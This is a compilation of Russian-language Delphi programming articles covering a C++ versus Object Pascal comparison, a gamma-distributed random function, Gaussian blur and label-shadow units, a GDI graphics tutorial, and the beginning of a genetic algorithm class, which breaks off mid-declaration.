В 16-битном компиляторе вы в результате получите 0. Очень приятный сюрприз! А дело в том, что 256 и 1024 по отдельности попадают в int (2 байта), а их произведение уже в long (4 байта). Однако стандарт С++ как раз в том и заключается, что произведение будет также помещено в int. И уже только после этого произойдет присвоение к long. Соответственно туда попадает только младшая часть произведения, которая равна нулю. Спасает написание в форме 256 * 1024L. На 32 битах все будет нормально, т.к. размеры типов int и long совпадают (4 байта). Некоторые начинают вяло возражать, что такие вещи нужно помнить, что это, мол, нормально. Однако в эту проблему (обнаружили ее случайно) конкретно уперлись два программера на С++ с очень хорошим опытом работы и в течение получаса не смогли ее решить. С ходу помог только действительно матерый эксперт С++. Ну, и как это выглядит с точки зрения безопасности программирования?

(КоТ: плохо выглядит).

А как "эстетичны" в каждом hеаdеr'е С++ конструкции типа:
#ifndef _MYHEADER_H
#define _MYHEADER_H
… body of the header …
#endif
Получается, я вместо компилятора должен следить, чтобы в проекте оказалась только одна копия каждого файла. Кстати, особенности ОР как языка обеспечивают не только безопасность программирования, но и безопасность полученного софта, как таковую. К примеру, более половины дыр в безопасности программ отраженных в Bugtraq возникают из-за проблемы переполнения буфера. А эта проблема является визитной карточкой С/С++. Дошло до того, что выпускаются специальные пакеты, которые патчят исходники С++. Как один из вариантов решения проблем безопасности предлагают писать на Pascal… После всего, что я тут наговорил, может возникнуть мысль: "А почему же тогда Борланд двигает Делфи?". "И почему VCL написан на паскале, а не на С++?". Резонно. Мыслям вообще свойственно появляться в головах человеков. Нет, мысль возникает не такая. С этим все ясно и так, VCL и Delphi не могут быть написаны ни на чем другом (можно, конечно, на С++ написать компилятор ОР, что вполне реализуемо, и потом в нем все делать, но ведь разработчика такой способ явно не устроит). Возникает другая мысль. Почему уровень знаний ОР у очень многих программистов так удручающе низок (КоТ: С С++ ситуация ничуть не лучше. Груда книг всяких, прости господи, пересмешников. А если прочитать 1 (один) раз Страуструпа, множество вопросов просто отпадет). Понятно, что литература у нас в основном "для чайников". Но иногда надо хотя бы help читать. Похоже считается делом чести начитаться умных книжек "с примерами приложений на С++", а для Delphi, мол, можно ограничиться знанием Object Insресtоr'а. При этом многие такие программисты почему-то считают для себя возможным критиковать возможности ОР. Может быть потому, что Delphi дала им возможность быстро и легко воплотить свои идеи? А потом вдруг что-то не получилось… И вот, виновата Delphi. Можно с уверенностью сказать, что С++ такому программисту все равно не поможет. Кажется беда Delphi как раз в том, что за внешней простотой многие не могут разглядеть ее истинные возможности. Да и решения об использовании конкретного языка принимаются зачастую на уровне руководства, которое вообще ничего не видит, кроме финансовых показателей дяди Билли. (КоТ: за что я вообще и выбрал линух - это система людей, имеющих роскошь на рынок в некоторых местах вообще плевать. Хотя от рынка, конечно уйти нельзя. Да и зачем? В умеренных дозах рынок - это очень хорошо.) Для любящих спорить. Не стоит критиковать какие-то возможности продукта, не до конца в них разобравшись. Современные языки слишком многогранны, чтобы один человек досконально знал хотя бы два языка. Я лично не уверен, что все мои рассуждения на 100% достоверны, но старался, как мог. Поэтому буду рад техническим исправлениям. "Портос, если Вы говорите глупости, то делайте это, пожалуйста, только от своего имени". P.S. Красота драгоценного камня, как известно, зависит не только от породы, но и от мастерства огранщика. Только тогда обычный белый свет превращается в нем в причудливую игру разноцветных искр. Так что учите матчасть, и Delphi вас не подведет :) (КоТ: Два слова напоследок - не удержался. Я полагаю, что С++, что дельфа - языки одного уровня, но разных подуровней. Бессмысленно их сравнивать вообще. С++ старше - хотя бы поэтому дельфа лучше, т.к написана на его крови, если можно так сказать. Но дельфа все-таки следующее поколение языков. Стоит ли сравнивать сына с отцом, и чему удивляться? Уже народ типами не оперирует, уже оперирует свойствами и объектами. Кто даст хороший язык для этого, тот и выиграет. А что до С++ - учите матчасть… И не хуже будет, чем в дельфе. ;) P.P.S. Да, в конце концов, все измеряется способностями конкретного "юзера" языка. Хочется верить, что эта статья поможет кому-нибудь сделать очередной шаг на длинном пути от "чайника" к "профи".

Гамма распределение.

Автор: Алексей Перов WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Гамма распределение
Возвращает случайное число, распределенное по закону Гамма-распределения
Зависимости: system
Автор:       Алексей Перов, aperov@rambler.ru, ICQ:102661702, Караганда
Copyright:   Лабораторные работы по курсу "Моделирование информационных систем", КарГТУ
Дата:        25 апреля 2002 г.
***************************************************** }
function RandomGamma(k, a: Extended): Extended;
{ гамма распределение }
var
  tr: Extended;
  i: Integer;
begin
  tr := 1;
  for i := 1 to Round(k) do
    tr := tr * random;
  Result := -ln(tr) / a
end;

Пример использования:

x := RandomGamma(10, 5); 

Гауссово размывание (Gaussian Blur) в Delphi.

Статьи по Delphi (008)…

Автор: Den is Com Ну вот, добрались и до фильтров. В неформальных испытаниях этот код оказался вдвое быстрее, чем это делает Adobe Photoshop. Мне кажется есть множество фильтров, которые можно переделать или оптимизировать для быстроты обработки изображений. Ядро гауссовой функции exp(-(x^2 + y^2)) есть разновидность формулы f(x)*g(y), которая означает, что мы можем выполнить двумерную свертку, делая последовательность одномерных сверток - сначала мы свертываем каждую строчку изображения, затем - каждую колонку. Хороший повод для ускорения (N^2 становится N*2). Любая свертка требует некоторого место для временного хранения результатов - ниже в коде программа BlurRow как раз распределяет и освобождает память для каждой колонки. Вероятно это должно ускорить обработку изображения, правда не ясно насколько. Поле "size" в записи TKernel ограничено значением 200. Фактически, если вы хотите использовать еще больший радиус, это не вызовет проблем - попробуйте со значениями radius = 3, 5 или другими. Для большого количества данных методы свертки на поверку оказываются эффективнее преобразований Фурье (как показали опыты). Еще один комментарий все же необходим: гауссово размывание имеет одно магическое свойство, а именно - вы можете сначала размыть каждую строчку (применить фильтр), затем каждую колонку - фактически получается значительно быстрее, чем двумерная свертка.

Во всяком случае вы можете сделать так:

unit GBlur2;
interface
uses Windows, Graphics;
type
  PRGBTriple = ^TRGBTriple;
  TRGBTriple = packed record
    b: byte; //легче для использования чем типа rgbtBlue...
    g: byte;
    r: byte;
  end;
  PRow = ^TRow;
  TRow = array[0..1000000] of TRGBTriple;
  PPRows = ^TPRows;
  TPRows = array[0..1000000] of PRow;
const
  MaxKernelSize = 100;
type
  TKernelSize = 1..MaxKernelSize;
  TKernel = record
    Size: TKernelSize;
    Weights: array[-MaxKernelSize..MaxKernelSize] of single;
  end;
  //идея заключается в том, что при использовании TKernel мы игнорируем
  //Weights (вес), за исключением Weights в диапазоне -Size..Size.
procedure GBlur(theBitmap: TBitmap; radius: double);
implementation
uses SysUtils;
procedure MakeGaussianKernel(var K: TKernel; radius: double;
  MaxData, DataGranularity: double);
//Делаем K (гауссово зерно) со среднеквадратичным отклонением = radius.
//Для текущего приложения мы устанавливаем переменные MaxData = 255,
//DataGranularity = 1. Теперь в процедуре установим значение
//K.Size так, что при использовании K мы будем игнорировать Weights (вес)
//с наименее возможными значениями. (Малый размер нам на пользу,
//поскольку время выполнения напрямую зависит от
//значения K.Size.)
var
  j: integer;
  temp, delta: double;
  KernelSize: TKernelSize;
begin
  for j := Low(K.Weights) to High(K.Weights) do
  begin
    temp := j / radius;
    K.Weights[j] := exp(-temp * temp / 2);
  end;
  //делаем так, чтобы sum(Weights) = 1:
  temp := 0;
  for j := Low(K.Weights) to High(K.Weights) do
    temp := temp + K.Weights[j];
  for j := Low(K.Weights) to High(K.Weights) do
    K.Weights[j] := K.Weights[j] / temp;
  //теперь отбрасываем (или делаем отметку "игнорировать"
  //для переменной Size) данные, имеющие относительно небольшое значение -
  //это важно, в противном случае смазавание происходим с малым радиусом и
  //той области, которая "захватывается" большим радиусом...
  KernelSize := MaxKernelSize;
  delta := DataGranularity / (2 * MaxData);
  temp := 0;
  while (temp < delta) and (KernelSize > 1) do
  begin
    temp := temp + 2 * K.Weights[KernelSize];
    dec(KernelSize);
  end;
  K.Size := KernelSize;
  //теперь для корректности возвращаемого результата проводим ту же
  //операцию с K.Size, так, чтобы сумма всех данных была равна единице:
  temp := 0;
  for j := -K.Size to K.Size do
    temp := temp + K.Weights[j];
  for j := -K.Size to K.Size do
    K.Weights[j] := K.Weights[j] / temp;
end;
function TrimInt(Lower, Upper, theInteger: integer): integer;
begin
  if (theInteger <= Upper) and (theInteger >= Lower) then
    result := theInteger
  else if theInteger > Upper then
    result := Upper
  else
    result := Lower;
end;
function TrimReal(Lower, Upper: integer; x: double): integer;
begin
  if (x < upper) and (x >= lower) then
    result := trunc(x)
  else if x > Upper then
    result := Upper
  else
    result := Lower;
end;
procedure BlurRow(var theRow: array of TRGBTriple; K: TKernel; P: PRow);
var
  j, n, LocalRow: integer;
  tr, tg, tb: double; //tempRed и др.
  w: double;
begin
  for j := 0 to High(theRow) do
  begin
    tb := 0;
    tg := 0;
    tr := 0;
    for n := -K.Size to K.Size do
    begin
      w := K.Weights[n];
      //TrimInt задает отступ от края строки...
      with theRow[TrimInt(0, High(theRow), j - n)] do
      begin
        tb := tb + w * b;
        tg := tg + w * g;
        tr := tr + w * r;
      end;
    end;
    with P[j] do
    begin
      b := TrimReal(0, 255, tb);
      g := TrimReal(0, 255, tg);
      r := TrimReal(0, 255, tr);
    end;
  end;
  Move(P[0], theRow[0], (High(theRow) + 1) * Sizeof(TRGBTriple));
end;
procedure GBlur(theBitmap: TBitmap; radius: double);
var
  Row, Col: integer;
  theRows: PPRows;
  K: TKernel;
  ACol: PRow;
  P: PRow;
begin
  if (theBitmap.HandleType <> bmDIB) or (theBitmap.PixelFormat <> pf24Bit) then
    raise
      exception.Create('GBlur может работать только с 24-битными изображениями');
  MakeGaussianKernel(K, radius, 255, 1);
  GetMem(theRows, theBitmap.Height * SizeOf(PRow));
  GetMem(ACol, theBitmap.Height * SizeOf(TRGBTriple));
  //запись позиции данных изображения:
  for Row := 0 to theBitmap.Height - 1 do
    theRows[Row] := theBitmap.Scanline[Row];
  //размываем каждую строчку:
  P := AllocMem(theBitmap.Width * SizeOf(TRGBTriple));
  for Row := 0 to theBitmap.Height - 1 do
    BlurRow(Slice(theRows[Row]^, theBitmap.Width), K, P);
  //теперь размываем каждую колонку
  ReAllocMem(P, theBitmap.Height * SizeOf(TRGBTriple));
  for Col := 0 to theBitmap.Width - 1 do
  begin
    //- считываем первую колонку в TRow:
    for Row := 0 to theBitmap.Height - 1 do
      ACol[Row] := theRows[Row][Col];
    BlurRow(Slice(ACol^, theBitmap.Height), K, P);
    //теперь помещаем обработанный столбец на свое место в данные изображения:
    for Row := 0 to theBitmap.Height - 1 do
      theRows[Row][Col] := ACol[Row];
  end;
  FreeMem(theRows);
  FreeMem(ACol);
  ReAllocMem(P, 0);
end;
end.

Должно работать, если только вы не удалите некоторый код вместе с глупыми коментариями. Для примера:

procedure TForm1.Button1Click(Sender: TObject);
var
  b: TBitmap;
begin
  if not openDialog1.Execute then
    exit;
  b := TBitmap.Create;
  b.LoadFromFile(OpenDialog1.Filename);
  b.PixelFormat := pf24Bit;
  Canvas.Draw(0, 0, b);
  GBlur(b, StrToFloat(Edit1.text));
  Canvas.Draw(b.Width, 0, b);
  b.Free;
end;

Имейте в виду, что 24-битные изображения при системной 256-цветной палитре требуют некоторых дополнительных хитростей, так как эти изображения не только выглядят в таком случае немного "странными", но и серьезно нарушают работу фильтра.

Гауссово размывание (Gaussian Blur) в Delphi (продолжение) - Создание тени у метки.

Автор: Den is Com
- Вот ты мне скажи, почему когда заходишь на иностранный сайт, то в основном реклама на продукцию или услуги, а когда заходишь на русские сайты, то обязательно на эротику или порнуху, в России что? Все озабоченные? Голых баб сроду не видели? - Да нет, это просто потому, что бабы - это единственный продукт, который делают в России, и иногда даже очень удачно.
Данный метод позволяет создавать тень у текстовых меток TLabel. Не требует лазить в Photoshop и что-то ваять там - тень рисуется динамически, поэтому и объём программы не раздувает. Создание тени присходит в фоновом режиме, во время "простоя" процессора.

Пример использования:

ShowFade(CaptionLabel);
//или
ShowFadeWithParam(CaptionLabel,3,3,2,clGray);

Blur.pas.

unit blur;
interface
uses
  Classes, graphics, stdctrls, gblur2;
const
  add_width = 4;
  add_height = 5;
type
  TBlurThread = class(TThread)
  private
    { Private declarations }
    text_position: Integer;
    FadeLabel: TLabel;
    Temp_Bitmap: TBitmap;
    procedure ShowBlur;
    procedure SetSize;
  protected
    F_width, F_X, F_Y: Integer;
    F_color: TColor;
    procedure Execute; override;
  public
    constructor Create(Sender: TLabel; Fade_width: integer; Fade_X: Integer;
      Fade_Y: Integer; Fade_color: TColor);
    destructor Destroy;
  end;
procedure ShowFade(Sender: TLabel);
procedure ShowFadeWithParam(Sender: TLabel; Fade_width: integer; Fade_X:
  Integer; Fade_Y: Integer; Fade_color: TColor);
implementation
procedure ShowFadeWithParam(Sender: TLabel; Fade_width: integer; Fade_X:
  Integer; Fade_Y: Integer; Fade_color: TColor);
var
  SlowThread: TBlurThread;
begin
  SlowThread := TBlurThread.Create(Sender, Fade_width, Fade_X, Fade_Y,
    Fade_color);
  SlowThread.Priority := tpIdle;
  SlowThread.Resume;
end;
procedure ShowFade;
var
  SlowThread: TBlurThread;
begin
  SlowThread := TBlurThread.Create(Sender, 3, 3, 3, clBlack);
  SlowThread.Priority := tpIdle;
  //SlowThread.Priority:=tpLowest;
  //SlowThread.Priority:=tpTimeCritical;
  SlowThread.Resume;
end;
constructor TBlurThread.Create(Sender: TLabel; Fade_width: integer; Fade_X:
  Integer; Fade_Y: Integer; Fade_color: TColor);
begin
  Temp_Bitmap := TBitmap.Create;
  Temp_Bitmap.Canvas.Font := Sender.Font;
  FadeLabel := Sender;
  F_width := Fade_width;
  F_X := Fade_X;
  F_Y := Fade_Y;
  F_color := Fade_color;
  inherited Create(True);
end;
destructor TBlurThread.Destroy;
begin
  Temp_Bitmap.Free;
  inherited Destroy;
end;
procedure TBlurThread.ShowBlur;
begin
  FadeLabel.Canvas.Draw(text_position + F_X, F_Y, Temp_Bitmap);
  FadeLabel.Canvas.TextOut(text_position, 0, FadeLabel.Caption);
end;
procedure TBlurThread.SetSize;
begin
  if FadeLabel.Width < (Temp_Bitmap.Canvas.TextWidth(FadeLabel.Caption) + F_width
    + F_X {add_width}) then
  begin
    FadeLabel.Width := Temp_Bitmap.Canvas.TextWidth(FadeLabel.Caption) + F_width
      + F_X {add_width};
    FadeLabel.Tag := 2;
  end
  else
    FadeLabel.Tag := 0;
  if FadeLabel.Height < (Temp_Bitmap.Canvas.TextHeight(FadeLabel.Caption) +
    F_width + F_Y {add_height}) then
  begin
    FadeLabel.Height := Temp_Bitmap.Canvas.TextHeight(FadeLabel.Caption) +
      F_width + F_Y {add_height};
    FadeLabel.Tag := 1;
  end
  else if FadeLabel.Tag <> 2 then
    FadeLabel.Tag := 0;
end;
{ TBlurThread }
procedure TBlurThread.Execute;
begin
  { Place thread code here }
  Synchronize(SetSize);
  if FadeLabel.Tag = 0 then
  begin
    Temp_Bitmap.Width := FadeLabel.Width;
    Temp_Bitmap.Height := FadeLabel.Height;
    Temp_Bitmap.Canvas.Brush.Color := FadeLabel.Color;
    Temp_Bitmap.Canvas.FillRect(FadeLabel.ClientRect);
    Temp_Bitmap.Canvas.Font.Color := F_color; //clBlack
    if FadeLabel.Alignment = taRightJustify then
      text_position := FadeLabel.Width -
        Temp_Bitmap.Canvas.TextWidth(FadeLabel.Caption) - F_width - F_X {add_width}
    else if FadeLabel.Alignment = taCenter then
      text_position := (FadeLabel.Width -
        Temp_Bitmap.Canvas.TextWidth(FadeLabel.Caption) - F_width - F_X
        {add_width}) div 2
    else
      text_position := 0;
    Temp_Bitmap.Canvas.TextOut(0, 0, FadeLabel.Caption);
    Temp_Bitmap.PixelFormat := pf24Bit;
    GBlur(Temp_Bitmap, F_width);
    //Temp_Bitmap.SaveToFile('a.bmp');
    Synchronize(ShowBlur);
  end;
end;
end.

GDI - графика в Delphi.

Автор: Alistair Keys Жаргон GDI. GDI расшифровывается как Graphics Device Interface, и представляет собой интерфейс, который Windows использует для рисования 2D графики. Также это самый медленный способ отображения графики из существующих, однако самый простой для понимания основ. Итак, для начала, поговорим об основных понятиях и терминах в GDI. Начнём с того, что GDI обычно не используют для создания крутых графических эффектов, для этого есть DirectX, OpenGL, или любые графические библиотеки (такие как: DelphiX, FastLib, DIBUltra, Graphics32...). Однако, для создание простых эффектов с минимальными усилиями GDI вполне сгодится. С GDI тесно связана ещё одна аббревиатура - DC ("Device Context" - контекст устройства). Это то, на чём мы рисуем, и в Delphi контекст устройства представлен как TCanvas. Идея контекста устройства заключается в том, что это универсальное устройство вывода, поэтому можно использовать одинаковые функции как для экрана, так и для принтера. Все графические функции в Delphi являются надстройками над стандартными GDI функциями Windows. Позже мы поговорим об этих функциях.

А теперь самое время приступить к рассмотрению того, как устроен GDI. Ниже, в таблице, представлены некоторые важные классы:

ИМЯ ОПИСАНИЕ
Pen Используется для рисования простых линий. Обычно применяется для функции LineTo или при рисовании рамки для определённой фигуры (например для функции Rectangle).
Brush Кисть используется для заполнения области определённым цветом. Применяется в функциях Rectangle, FillRect или FloodFill.
Font Используется для задания шрифта, которым будет нарисован текст. Можно указать имя шрифта, размер и т.д.
Region Позволяет задать регион (замкнутое пространство). Регионом может быть круг, квадрат или произвольная фигура. Позволяет так же делать дырки в фигурах.
Однако, пора переходить от слов к делу, а именно, начать рисовать линии и фигуры. Рисование линий Сперва необходимо чётко уяснить, что координата (0,0) это верхний левый угол экрана. То есть значения по оси y увеличиваются вниз экрана. Соответственно, координата (0, 50) означает, что мы просто отступили на 50 пикселей от верха экрана. Самое главное, что надо знать при рисовании линий и фигур, это различие между пером (Pen) и кистью (Brush). Всё очень просто: перо (Pen) используется при рисовании линий или рамок, а кисть (Brush) для заполнения фигуры.

Ниже приведены две функции, которые используются для рисования линий и обе принадлежат TCanvas:

ИМЯ ОПИСАНИЕ ПРИМЕР
MoveTo Перемещает точку начала рисования линии в указанные координаты x и y Canvas.MoveTo(50, 100);
LineTo Рисует линию начиная с текущей позиции (см. MoveTo) до указанных координат x и y. Canvas.LineTo(50, 100);
Эффект перемещения точки начала рисования линии так же достигается при помощи установки своства PenPos в канвасе... например, "Canvas.PenPos.x := 20;", "Canvas.PenPos.y := 50", или "Canvas.PenPos := Point(20,50);". По умолчанию, точка начала рисования установлена в (0,0), то есть, если сразу вызвать "Canvas.LineTo(100,100);" то будет нарисована линия из точки (0,0) в точку (100, 100). Точка начала рисования автоматически переместится в (100, 100), то есть, если выполнить команду "Canvas.LineTo(200, 100);", то следующая линия будет нарисована из точки (100, 100) в (200, 100). Поэтому, если мы хотим рисовать линии несоединённые друг с другом, то придётся воспользоваться методом MoveTo. Линия, нарисованная при помощи LineTo использует текущее перо канваса (типа TPen). Основные свойства пера, это ширина - "Canvas.Pen.Width := 4;" (при помощи которого можно задавать различную ширину линий), и цвет "Canvas.Pen.Color := clLime;".

Взглянем на простой пример беспорядочного рисования разноцветных линий:

procedure TForm1.FormCreate(Sender: TObject);
begin
  // инициализируем генератор
  // случайных чисел
  Randomize;
end;
const
  NUM_LINES = 2000;
procedure TForm1.DrawLines;
var
  i: Integer;
begin
  for i := 0 to NUM_LINES - 1 do
  begin
    Canvas.Pen.Color :=
      RGB(Random(256),
      Random(256),
      Random(256));
    Canvas.LineTo
      (Random(ClientWidth),
      Random(ClientHeight));
  end;
end;

Процедура DrawLines вызывается из обработчика кнопки OnClick. Количество линий задаётся в константе NUM_LINES. Между прочим, функция RGB, составляет цвет каждой линии из трёх основных составляющих: красного, зелёного и синего (значения от 0 до 255) и возвращает нам цвет в виде TColor. О цветах поговорим немного позже, а вот так выглядит нарисованный пейзаж:

Статьи по Delphi (008)…

Теперь, когда линии нарисованы, попробуйте немножко подвигать форму. Если форму переместить за края экрана, то Вы увидите, что линии частично стёрлись. Это не глюк, и решается эта проблема очень просто. Но не сейчас ;-). Сперва посмотрим, как рисовать различные фигуры. Рисование фигур

Для рисования фигур, в TCanvas предусмотрены следующие функции:

ИМЯ ОПИСАНИЕ ПРИМЕР
Ellipse Рисует элипс, вписанный в невидимый квадрат с координатами верхнего левого угла и правого нижнего. Если координаты х и y у углов будут совпадать, то получится круг. Canvas.Ellipse(0,0,50,50);
FillRect Заполняет прямоугольник цветом текущей кисти (brush), но никак не за пределами него. Canvas.FillRect( Bounds(0,0,100,100));
FloodFill Заполняет данную область цветом текущей кисти, до тех пор пока не будет достигнут край. Canvas.FloodFill(10, 10, clBlack, fsBorder);
Rectangle Рисует прямоугольник (или квадрат), заполненный цветом текущей кисти и обрамлённый цветом текущего пера Canvas.Rectangle( Bounds(20, 20, 50, 50));
RoundRect Тоже, что и Rectangle, но с загруглёнными углами. Canvas.RoundRect( 20, 20, 50, 50, 3, 3);

Ещё есть очень нужная функция TextOut, которая позволяет рисовать текст, используя шрифт, заданный в канвасе:

ИМЯ ОПИСАНИЕ ПРИМЕР
TextOut Рисует данную строку на канвасе начиная с координат (x,y) - фон текста заполняется текущим цветом кисти. Canvas.TextOut(10, 10, 'Some text');
Кстати, функция позволяет рисовать текст, не заполняя его фон. Если Вам необходимо изменить шрифт, используемый в TextOut, то необходимо изменить свойство Font канваса (это свойство имеет тип TFont) - например "Canvas.Font.Name := 'Verdana';", "Canvas.Font.Size := 24;" или "Canvas.Font.Color := clRed;". Вкратце хотелось бы обратить Ваше внимание на довольно полезный класс TRect, который умеет хранить в себе значения лево, право, верха и низа (кстати, в Windows API это RECT). То ест, достаточно указать левую и верхнюю координату и ширину и высоту области, а TRect автоматически подставит в виде (лево, верх, лево + ширина, верх + высота). Ещё есть другая функция Rect(), которая делает тоже самое, но координаты в ней задаются напрямую как лево, право, верх и низ. Ну и по желанию, можно использовать API функцию SetRect.

Ниже представлен пример, который рисует случайным образом различные фигуры:

const
  NUM_SHAPES = 200;
procedure TForm1.DrawShapes;
var
  i, ShapeLeft, ShapeTop: Integer;
begin
  for i := 0 to NUM_SHAPES - 1 do
  begin
    Canvas.Brush.Color :=
      RGB(Random(256),
      Random(256),
      Random(256));
    ShapeLeft := Random(ClientWidth);
    ShapeTop := Random(ClientHeight);
    // теперь, случайным образом, решаем что рисовать
    case Random(3) of
      0: Canvas.Rectangle(ShapeLeft,
          ShapeTop,
          ShapeLeft + Random(50),
          ShapeTop + Random(50));
      1: Canvas.Ellipse(ShapeLeft,
          ShapeTop,
          ShapeLeft + Random(50),
          ShapeTop + Random(50));
      2:
        begin
          Canvas.Font.Size := 10 + Random(7); // от 10 до 16
          Canvas.TextOut(ShapeLeft, ShapeTop, 'Some text');
        end;
    end;
  end;
end;

Статьи по Delphi (008)…

Как Вы уже успели заметить, некоторые фигурки имеют цвет рамки, отличающийся от того цвета, которым заполнена фигура. Это как раз тот момент, о котором я упоминал выше. Кистью мы заполняем объекты, а пером обрамляем. Если цвет кисти (brush) меняется случайным образом, то цвет пера(pen) остаётся постоянным. Из-за этого и получается такая картина. Перерисовка окна Теперь давайте разберёмся, почему в самом первом примере у нас стирались линии при перемещении формы за границы экрана. А именно, нам нужно выяснить разницу между "рисованием" и "перерисовкой". Рисование, это то, что мы делали выше. То есть, рисовали любые линии и графические фигуры. Однако, рисунок сохранялся до тех пор, пока окно(форма) не было обновлено. Перерисовка несколько отличается от понятия "рисование". Когда окну необходимо перерисоваться, то Windows посылает определённое сообщение. Это сообщение поступает в обработчик события "OnPaint". Любой код, который поместить в обработчик OnPaint будет вызван каждый раз, когда форме необходимо обновиться.

Для примера, поместите следующий код в проект:

procedure TForm1.DrawSomeText;
begin
  Canvas.TextOut(10, 10, 'Some text');
end;
Если поместить на форму кнопку и вызывать DrawSomeText из обработчика кнопки OnClick, то проблема с исчезновением текста при перемещении формы останется. ОДНАКО, если вызвать DrawSomeText из обработчика формы OnPaint, то текст останется на своём месте окончательно. Дескрипторы, или как пользоваться аналогичными API функциями Итак, мы научились рисовать линии, различные фигуры, научились делать так, чтобы наше творение не стиралось при перемещении формы, и проделали мы всё это при помощи стандартных функций VCL (таких как Canvas.TextOut и т.д.). Однако, что делать, если Вы не хотите пользоваться графическими функциями VCL, которые всего навсего являются надстройками над аналогичными функциями из Windows API? Пожалуйста! Никто нам не запрещает пользоваться API функциями напрямую! Но постойте-ка, все они требуют какого-то HDC! Что такое HDC? Почти всё в Windows использует "Дескриптор" (Handle). Дескриптор, это способ идентификации Вашего объекта в системе. У каждого окна есть свой дескриптор, у каждой кнопки тоже есть свой дескриптор и т.д. Именно поэтому все наши объекты имеют дескриптор в качестве свойства - например, "MyForm.Canvas.Handle". Тип HDC это Дескриптор(Handle) Контекста Устройства (Device Context). Я уже говорил в самом начале, что TCanvas включает в себя большинство функций DC. Поэтому, мы спокойно можем подставлять свойство канваса Handle везде, где нам это потребуется.

Ради интереса можно взглянуть на таблицу, в которой представлены примеры вызовов некоторых функций из VCL и их аналогов из Windows API.

VCL WINDOWS API
Canvas.TextOut(x,y,myString); TextOut(Canvas.Handle, x, y, PChar(myString), Length(String));
Canvas.FloodFill(X, Y, Color,fsBorder); ExtFloodFill(Canvas.Handle, x, y, YourColour, FLOODFILLBORDER);
Canvas.LineTo(x,y); LineTo(Canvas.Handle, x, y);
Canvas.MoveTo(x,y); MoveToEx(Canvas.Handle, x, y, nil);
Так же можно использовать разные дескрипторы, чтобы рисовать в разных местах. Например, можно использовать "SomeBmp.Canvas.Handle" для рисования на картинке (битмапе), либо "Form1.Canvas.Handle", чтобы рисовать на форме. В API версии функции TextOut необходимо передавать строку завершённую нулём. Это значит, что вместо того, чтобы передать строку в функцию напрямую, необходимо передать её как PChar. Так же не забывайте передавать в функцию длину строки. Для этого можно воспользоваться функцией Length. Ну что, Вам уже захотелось поместить на форму какую-нибудь красивую картинку ? Что такое Битмапы (Bitmaps)? Рисование линий, это, конечно, хорошо, но рано или поздно Вам понадобится нарисовать более реалистичную картнику в своём приложении. Поэтому совершенно необходимо научиться работать с растровыми изображениями, или как их называют в среде программистов - битмапами. Битмап, это графический объект, который содержит заголовок, необходимую информацию о картинке (такую как высота, ширина, цвета и т.д.) и, собственно, само изображение (большой массив, содержащий цвет каждой точки). В Delphi для этой цели уже предусмотрен класс TBitmap.

Битмапы можно рисовать не только на форме, но и по всему экрану. Может это и может показаться немного странным, но иногда это бывает полезно, особенно при создании скринсейвера. Однако, сначала нам необходимо разобраться с тем, как работать с битмапами. Вот небольшой пример:

procedure Form1.DrawBitmap(const Filename: string; const x, y: Integer);
var
  Bmp: TBitmap;
begin
  // Сперва убедимся, что файл существует!
  if not FileExists(Filename) then
  begin
    ShowMessage('The bitmap ' + Filename + ' was not found!');
    Exit;
  end;
  Bmp := TBitmap.Create;
  try
    Bmp.LoadFromFile(Filename);
    Canvas.Draw(x, y, Bmp);
  finally
    Bmp.Free;
  end;
end;
Эта функция пытается загрузить и показать картинку, (с именем Filename, например 'myBitmap.bmp') начиная с точки (x,y). Сразу скажу, что эта функция довольно неэффективна. Она создаёт и уничтожает битмап каждый раз когда вызывается, а так же каждый раз проверяет существование файла. Лучше объявлять объект TBitmap как часть формы, создавать и загружать картинку в FormCreate, а освобождать её в FormDestroy. Функции рисования в GDI TCanvas имеет несколько полезных функций, которые работают с типом TGraphic. Тип TGraphic является базовым классом для графических объектов в Delphi, таких как: битмапы (TBitmap), иконки (TIcon), метафайлы (TMetafile) и JPEG-и (TJPEGImage). Все они используют одни и те же функции, которые приведены в таблице:

Все эти функции являются методами TCanvas.

ИМЯ ОПИСАНИЕ ПРИМЕР ИСПОЛЬЗОВАНИЯ
Draw Рисует TGraphic на канвасе так как он есть, не растягивая. Canvas.Draw(5,10,MyGraphic);
StrechDraw Рисует TGraphic на канвасе, подгоняя (растягивая) его под заданную область. Canvas.StretchDraw( Bounds(0,0,32,32), MyGraphic);
CopyRect Копирует часть TCanvas-а в другой, при необходимости растягивая его. Canvas.CopyRect( Bounds(0,0,32,32), MyBmp.Canvas, Bounds(0, 0, 640, 480));

TCanvas.Draw является обёрткой для API функции BitBlt:

function BitBlt(
  hdcDest: HDC; // дескриптор конечного контекста устройства
  nXDest, // коорд. x верхнего левого угла конечного прямоугольника
  nYDest, // коорд. y верхнего левого угла конечного прямоугольника
  nWidth, // ширина конечного прямоугольника
  nHeight: Integer; // высота конечного прямоугольника
  hdcSrc: HDC; // дескриптор исходного контекста устройства
  nXSrc, // коорд. x верхнего левого угла исходного прямоугольника
  nYSrc: Integer; // коорд. y верхнего левого угла исходного прямоугольника
  dwRop: DWORD // код растровой операции
  ): Boolean;
Описанный выше способ позволяет рисовать битмап в run-time. Конечно, проще поместить на форму TImage и установить в ней картинку. Изображение будет постоянно оставаться на том месте, где Вы его поместили, но это скучно ;-). Куда интереснее сделать при помощи битмапов анимацию. С другой стороны, поняв принципы работы с битмапами, Вам будет легче перейти к другим графическим библиотекам (например DirectX).

Продолжение следует ...

Генетические алгоритмы.

Автор: Mystic WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Генетические алгоритмы
Класс, реализующий генетический алгоритм.
Зависимости: Classes, SysUtils, Windows, Math
Автор:       Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright:   Mystic
Дата:        25 апреля 2002 г.
***************************************************** }
unit Genes;
interface
uses {Fuzzy,}  Classes, SysUtils, Windows, Math;
type
  TGeneAlgorithm = class;
  TExtendedArray = array of Extended;
  TEstimateEvent = procedure(Sender: TObject; const X: TExtendedArray; var Y:
    Extended) of object;
  TIterationEvent = procedure(Sender: TObject; Iteration: Integer);
  TBestChangeEvent = procedure(Sender: TObject; BestEstimate: Extended);
  EGeneError = class(Exception)
  end;
  TCardinalArray = array of Cardinal;
  TGeneRecord = record
    Bits: TCardinalArray;
    Values: TExtendedArray;
    Estimate: Extended;
  end;
  TGeneRecords = array of TGeneRecord;
  TSolutionThread = class(TThread)
  private
    FOwner: TGeneAlgorithm;
  protected
    procedure Execute; override;
    property Owner: TGeneAlgorithm read FOwner;
  public
